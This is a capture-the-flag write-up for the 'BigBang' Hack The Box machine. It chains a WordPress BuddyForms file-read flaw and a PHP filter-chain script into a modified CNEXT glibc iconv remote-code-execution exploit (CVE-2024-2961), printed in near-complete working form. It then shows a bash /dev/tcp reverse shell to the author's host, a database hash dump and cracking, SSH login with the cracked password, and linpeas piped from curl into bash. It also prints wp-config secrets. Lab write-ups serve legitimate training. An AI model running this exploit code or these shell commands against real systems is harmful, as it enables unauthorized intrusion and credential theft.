BigBang

Recon

nmap_scan.log

HTTP (80)

IP redirects to blog.bigbang.htb which seems to have repeating contents. It's a wordpress website and we have some kind of form for login and resetpassword leads to wordpress

Writeup.png
└─$ feroxbuster -u 'http://blog.bigbang.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt --thorough -n -D -C 404,403,400 -S 0,34
200      GET       65l      385w    28136c http://blog.bigbang.htb/wp-content/uploads/2024/06/f8724a71a5bc071c43ecb8040727d0db.jpg
200      GET       89l      314w     5790c http://blog.bigbang.htb/wp-login.php
405      GET        1l        6w       42c http://blog.bigbang.htb/xmlrpc.php
200      GET      510l     2734w   209498c http://blog.bigbang.htb/wp-content/uploads/2024/06/342-3427921_physics-atom-clipart-715454559-2.png
200      GET      121l      945w    73562c http://blog.bigbang.htb/wp-admin/images/browser.png
301      GET        9l       28w      323c http://blog.bigbang.htb/wp-admin => http://blog.bigbang.htb/wp-admin/
301      GET        9l       28w      325c http://blog.bigbang.htb/wp-content => http://blog.bigbang.htb/wp-content/
301      GET        9l       28w      326c http://blog.bigbang.htb/wp-includes => http://blog.bigbang.htb/wp-includes/
[####################] - 64s    28525/28525   0s      found:86      errors:12
[####################] - 48s    27785/27785   579/s   http://blog.bigbang.htb/

WordPress

└─$ wpscan --url http://blog.bigbang.htb/ -e ap
[+] URL: http://blog.bigbang.htb/ [10.129.108.201]
[+] Started: Sat Jan 25 14:07:20 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2024-09-25T04:52:00.000Z
 | [!] The version is out of date, the latest version is 2.8.13
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sat Jan 25 14:08:02 2025
[+] Requests Done: 32
[+] Cached Requests: 5
[+] Data Sent: 8.002 KB
[+] Data Received: 552.621 KB
[+] Memory used: 263.277 MB
[+] Elapsed time: 00:00:42

BuddyForms

BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization

https://cvefeed.io/vuln/detail/CVE-2023-26326

WordPress BuddyForms Plugin — Unauthenticated Insecure Deserialization (CVE-2023–26326)

└─$ curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=http://10.10.14.45/evil.phar&id=159&accepted_files=image/gif'
{"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/01\/159.png","attachment_id":159} 

Note: Idk if id should be valid, but you can upload legit file and increment

CVE doesn't seem to work..

└─$ curl 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' -d 'action=upload_image_from_url&url=phar://../wp-content/uploads/2025/01/159.png&id=159&accepted_files=image/gif'
{"status":"FAILED","response":"File type  is not allowed."} 

WordPress BuddyForms Plugin <= 2.8.8 is vulnerable to Arbitrary File Downloadhttps://cvefeed.io/vuln/detail/CVE-2024-32830https://feedly.com/cve/CVE-2024-32830BuddyForms <= 2.8.8 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery

Hmmm... the source doesn't have any protections which it has in later versions; Only suspicion is that author did a hot patch or something.

Patch Investigation (Skip)


From the future: It seems like PHP disabled this functionality after PHP 8.0. 4xura: HTB Writeup – BigBang

Writeup-1.png

To see diffs use

└─$ svn diff https://plugins.svn.wordpress.org/buddyforms/tags/2.7.7 https://plugins.svn.wordpress.org/buddyforms/tags/2.7.8 > diff_output.patch

Source: https://plugins.svn.wordpress.org/buddyforms/tags/

└─$ wget http://blog.bigbang.htb/wp-content/uploads/ --recursive --no-parent
# Remove index files
└─$ find . -name index.html* -delete
# Remove duplicates
└─$ find . -type f -exec md5sum {} + | awk '{print $1, $2}' | sort | uniq -Dw32 | awk '{print $2}' | xargs rm -v

Nothing.

LFI using php filter chain

Later on someone said wrapwrap worked

from pathlib import Path
from subprocess import check_output
import sys
import requests

filename = sys.argv[1] # input('Filename: ')
prefix = 'GIF89;'
prefix_len = len(prefix)
check_output(f"./wrapwrap/wrapwrap.py '{filename}' '{prefix}' '' 2000", shell=True)

with open('chain.txt') as f:
    chain = f.read().strip()

resp = requests.post(
    'http://blog.bigbang.htb/wp-admin/admin-ajax.php',
    data={
        'action': 'upload_image_from_url',
        'url': chain,
        'id': '206',
        'accepted_files': 'image/gif'
    },
    # proxies={'http': 'http://127.0.0.1:8080'}
)
output = resp.json()['response']
print(f'{filename} - {output}')

try:
    resp = requests.get(output)
    print(resp.text[prefix_len:2048])

    downloads = Path('downloads')
    downloads.mkdir(exist_ok=True)

    with open(downloads / Path(filename).name, 'wb') as f:
        f.write(resp.content[prefix_len:] + b'\0' * prefix_len)
except:
    print(f'File not found')
    exit()

Chain:

php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=
└─$ py wrapwrap_exploit.py                                                                   
Filename: /etc/passwd
GIF89;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologi

I think main reason why previously phar or php didn't work was because we needed image, simplest image header is GIF with GIF89;

Now we have LFI, but some files are not readable fully (?); Also it is incredibly slow, like 10-15second per read.

Filename: /etc/hosts
http://blog.bigbang.htb/wp-content/uploads/2025/01/206-3.png
127.0.0.1 localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.3      bf9a078
#############################################################
Filename: /proc/self/cmdline
http://blog.bigbang.htb/wp-content/uploads/2025/01/206-4.png
apache2-DFOREG
#############################################################
Doesnt exist: /etc/apache2/sites-enabled/000-default.conf
Doesnt exist: /proc/self/environ
#############################################################
└─$ py wrapwrap_exploit.py ../wp-config.php | grep -a define
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
define( 'DB_HOST', '172.17.0.1' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
define( 'AUTH_KEY',         '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY',  'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY',    ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY',        'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT',        '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT',   '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT',       't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
define( 'WP_DEBUG', false );
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );

LFI is not yielding anything

iconv RCE

By default there were some uploaded files and for some reason output of /proc/self/maps many times in 2024 uploads.

└─$ curl http://blog.bigbang.htb/wp-content/uploads/2024/06/1-10.png -so- | tail
7f23dac70000-7f23dac71000 r--p 00000000 00:30 292764                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f23dac71000-7f23dac96000 r-xp 00001000 00:30 292764                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f23dac96000-7f23daca0000 r--p 00026000 00:30 292764                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f23daca0000-7f23daca2000 r--p 00030000 00:30 292764                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f23daca2000-7f23daca4000 rw-p 00032000 00:30 292764                     /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fff89b6f000-7fff89b90000 rw-p 00000000 00:00 0                          [stack]
7fff89bf6000-7fff89bfa000 r--p 00000000 00:00 0                          [vvar]
7fff89bfa000-7fff89bfc000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
@C>==@C>==@C>==@C>==@ 

Ambionics security has another research about iconv RCE which fits the description of target. maps is also required for this exploit with glibc, considering that above maps is either a hint or author forgot to remove them.

Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)Analysis of CVE-2024–2961 Vulnerability

└─$ py wrapwrap_exploit.py /usr/lib/x86_64-linux-gnu/libc.so.6
└─$ py wrapwrap_exploit.py /proc/self/maps

Note: glibc wasn't playing nice so above script is updated to pad length of prefix with null bytes, so GIF89; adds 6 null bytes at the end which gives valid libc.

Author also provided PoC script for exploitation: cnext-exploits -> cnext-exploit.py

We need to slightly modify script to use wrapwrap and then get RCE.

Main changes are inside Remote class and then some changes in logic. check_vulnerable will fail because so it's removed, files were already downloaded so load them locally. Most of the code stayed the same from source.

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)

from __future__ import annotations

import base64
from subprocess import check_output
from urllib.parse import quote_plus
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
    """A helper class to send the payload and download files."""
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
        self.prefix = 'GIF89;'
        self.prefix_len = len(self.prefix)
        self.suffix = b'\x00' * self.prefix_len

    def chain(self, path: str) -> str:
        check_output(f"./wrapwrap/wrapwrap.py '{path}' '{self.prefix}' '' 10000", shell=True)

        with open('chain.txt') as f:
            chain = f.read().strip()

        return chain

    def send(self, path: str, chain: bool = True) -> Response:
        """Sends given `path` to the HTTP server. Returns the response."""
        if chain:
            path = self.chain(path)
    
        resp = self.session.post(
            self.url,
            data={
                'action': 'upload_image_from_url',
                'url': quote_plus(path),
                'id': '206',
                'accepted_files': 'image/gif'
            },
            # proxies={'http': 'http://127.0.0.1:8080'}
        )
        output = resp.json()['response']
        print(f'{path} - {output}')

        if 'is not allowed' in output:
            print('File not found')
            exit(1)

        return self.session.get(output)
    

    def download(self, path: str, text: bool = False) -> bytes:
        """Returns the contents of a remote file.
        """
        
        resp = self.send(path)
        if text:
            return resp.text[self.prefix_len:] + self.suffix.decode()

        return resp.content[self.prefix_len:] + self.suffix

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg("pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap operations with this size, increase this. Defaults to 20.",)
@dataclass
class Exploit:
    """CNEXT exploit: RCE using a file read primitive in PHP."""

    url: str
    command: str
    sleep: int = 1
    heap: str = None
    pad: int = 20

    def __post_init__(self):
        self.remote = Remote(self.url)
        self.log = logger("EXPLOIT")
        self.info = {}
        self.heap = self.heap and int(self.heap, 16)

    def get_file(self, path: str, text=False) -> bytes:
        with msg_status(f"Downloading [i]{path}[/]..."):
            return self.remote.download(path, text=text)

    def get_regions(self) -> list[Region]:
        """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
        # maps = self.get_file("/proc/self/maps", text=True)
        with open('./downloads/maps', 'rb') as f:
            maps = f.read().decode()

        PATTERN = re.compile(r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)")
        regions = []
        for region in table.split(maps, strip=True):
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = Region(start, stop, permissions, path)
                regions.append(current)
            else:
                print(maps)
                failure("Unable to parse memory mappings")

        self.log.info(f"Got {len(regions)} memory regions")

        return regions

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        LIBC_FILE = "./downloads/libc.so.6"

        # PHP's heap
        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc
        libc = self._get_region(regions, "libc-", "libc.so")

        # self.download_file(libc.path, LIBC_FILE)

        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        """Returns the first region whose name matches one of the given names."""
        for region in regions:
            if any(name in region.path for name in names):
                break
        else:
            failure("Unable to locate region")

        return region

    def download_file(self, remote_path: str, local_path: str) -> None:
        """Downloads `remote_path` to `local_path`"""
        data = self.get_file(remote_path)
        Path(local_path).write(data)

    def find_main_heap(self, regions: list[Region]) -> Region:
        # Any anonymous RW region with a size superior to the base heap size is a
        # candidate. The heap is at the bottom of the region.
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]

        if not heaps:
            failure("Unable to find PHP's main heap in memory")

        first = heaps[0]

        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
            msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
        else:
            msg_info(f"Using [i]{hex(first)}[/] as heap")

        return first

    def run(self) -> None:
        self.get_symbols_and_addresses()
        self.exploit()

    def build_exploit_path(self) -> str:
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

        CS = 0x100

        # Pad needs to stay at size 0x100 at every step
        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)

        # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
        # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS

        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)

        # This chunk will eventually overwrite mm_heap->free_slot
        # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
        step4_pwn = ptr_bucket(
            0x200000,0,
            # free_slot
            0,0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,0,0,0,0,0,0,0,0,0,0,0,0,
            ADDR_HEAP,  # 0x140
            0,0,0,0,0,0,0,0,0,0,0,0,0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )

        step4_use_custom_heap_size = 0x140

        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        if self.sleep:
            COMMAND = f"sleep {self.sleep}; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        assert (
            len(COMMAND) <= step4_use_custom_heap_size
        ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )

        resource = compress(compress(pages))
        resource = b64(resource)
        resource = f"data:text/plain;base64,{resource.decode()}"

        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"
        return path

    @inform("Triggering...")
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()

        try:
            self.remote.send(path, chain=False)
        except (ConnectionError, ChunkedEncodingError):
            pass
        
        msg_print()
        
        if not self.sleep:
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
        elif start + self.sleep <= time.time():
            msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
        else:
            # Wrong heap, maybe? If the exploited suggested others, use them!
            msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
        
        msg_print()


def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start


Exploit()
Writeup-2.png

Reverse Shell (www-data)

└─$ py cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.34/4444 0>&1"'
---
└─$ pwncat-cs -lp 4444
[05:38:59] Welcome to pwncat 🐈!                                                         __main__.py:164
[05:40:37] received connection from 10.10.11.52:50394                                         bind.py:84
[05:40:40] 10.10.11.52:50394: registered new host w/ db                                   manager.py:957
(local) pwncat$
(remote) www-data@bf9a078a3627:/var/www/html/wordpress/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Commands to check active ports don't exist like ss or netstat

I don't think we are inside a container, but could be.

(remote) www-data@bf9a078a3627:/tmp$ cat /proc/net/arp
IP address       HW type     Flags       HW address            Mask     Device
172.17.0.1       0x1         0x2         02:42:03:48:f0:27     *        eth0

Perl exists on system so we can use this script https://gist.github.com/jkstill/5095725?permalink_comment_id=4188684#gistcomment-4188684 to parse /proc/net/tcp for connections.

(remote) www-data@bf9a078a3627:/tmp$ ./parse_tcp.pl /proc/net/tcp
   0: 0.0.0.0:80            0.0.0.0:0             TCP_LISTEN
   1: 172.17.0.3:50394      10.10.14.34:4444      TCP_ESTABLISHED
   2: 172.17.0.3:37864      172.17.0.1:3306       TCP_TIME_WAIT
   3: 172.17.0.3:57850      172.17.0.1:3306       TCP_ESTABLISHED
   4: 172.17.0.3:54856      172.17.0.1:3306       TCP_ESTABLISHED
   5: 172.17.0.3:45324      10.10.14.230:1234     TCP_ESTABLISHED
   6: 172.17.0.3:59340      172.17.0.1:3306       TCP_ESTABLISHED
   7: 172.17.0.3:35082      10.10.16.14:443       TCP_ESTABLISHED
(remote) www-data@bf9a078a3627:/tmp$ ./parse_tcp.pl /proc/net/udp # Empty

Enumerate mysql with php

Databases:

(remote) www-data@bf9a078a3627:/tmp$ php -r '$c=new mysqli("172.17.0.1","wp_user","wp_password");foreach($c->query("SHOW DATABASES")as$r){echo $r["Database"]."\n";};$c->close();'
information_schema
performance_schema
wordpress

Tables:

(remote) www-data@bf9a078a3627:/tmp$ php -r '$c=new mysqli("172.17.0.1","wp_user","wp_password","wordpress");foreach($c->query("SHOW TABLES")->fetch_all()as$r)echo$r[0]."\n";'
wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_termmeta
wp_terms
wp_usermeta
wp_users

Dump table

(remote) www-data@bf9a078a3627:/tmp$ php -r '$c=new mysqli("172.17.0.1","wp_user","wp_password","wordpress");$q=$c->query("SELECT * FROM wp_users");while($r=$q->fetch_assoc())print_r($r)."\n";'
Array
(
    [ID] => 1
    [user_login] => root
    [user_pass] => $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
    [user_nicename] => root
    [user_email] => root@bigbang.htb
    [user_url] => http://blog.bigbang.htb
    [user_registered] => 2024-05-31 13:06:58
    [user_activation_key] =>
    [user_status] => 0
    [display_name] => root
)
Array
(
    [ID] => 3
    [user_login] => shawking
    [user_pass] => $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./
    [user_nicename] => shawking
    [user_email] => shawking@bigbang.htb
    [user_url] =>
    [user_registered] => 2024-06-01 10:39:55
    [user_activation_key] =>
    [user_status] => 0
    [display_name] => Stephen Hawking
)

Crack the hashes

➜ .\hashcat.exe --show .\hashes
400 | phpass | Generic KDF
➜ .\hashcat.exe -a 0 -m 400 .\hashes .\rockyou.txt
➜ .\hashcat.exe --show .\hashes
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics

SSH

└─$ sshpass -p 'quantumphysics' ssh shawking@bigbang.htb
-bash-5.1$ id
uid=1001(shawking) gid=1001(shawking) groups=1001(shawking)

User.txt

-bash-5.1$ cat user.txt
bb13e4146642118beceabaf05973a386

Privilege Escalation (developer)

There are other users on box, so it's probably not going to be straight up to root.

-bash-5.1$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
george:x:1000:1000:George Hubble:/home/george:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash

Enumerate with linpeas

-bash-5.1$ curl 10.10.14.34/lp.sh|bash|tee /tmp/lp.log
...
root        1195  0.0  1.9 2346876 78416 ?       Ssl  02:56   0:12 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
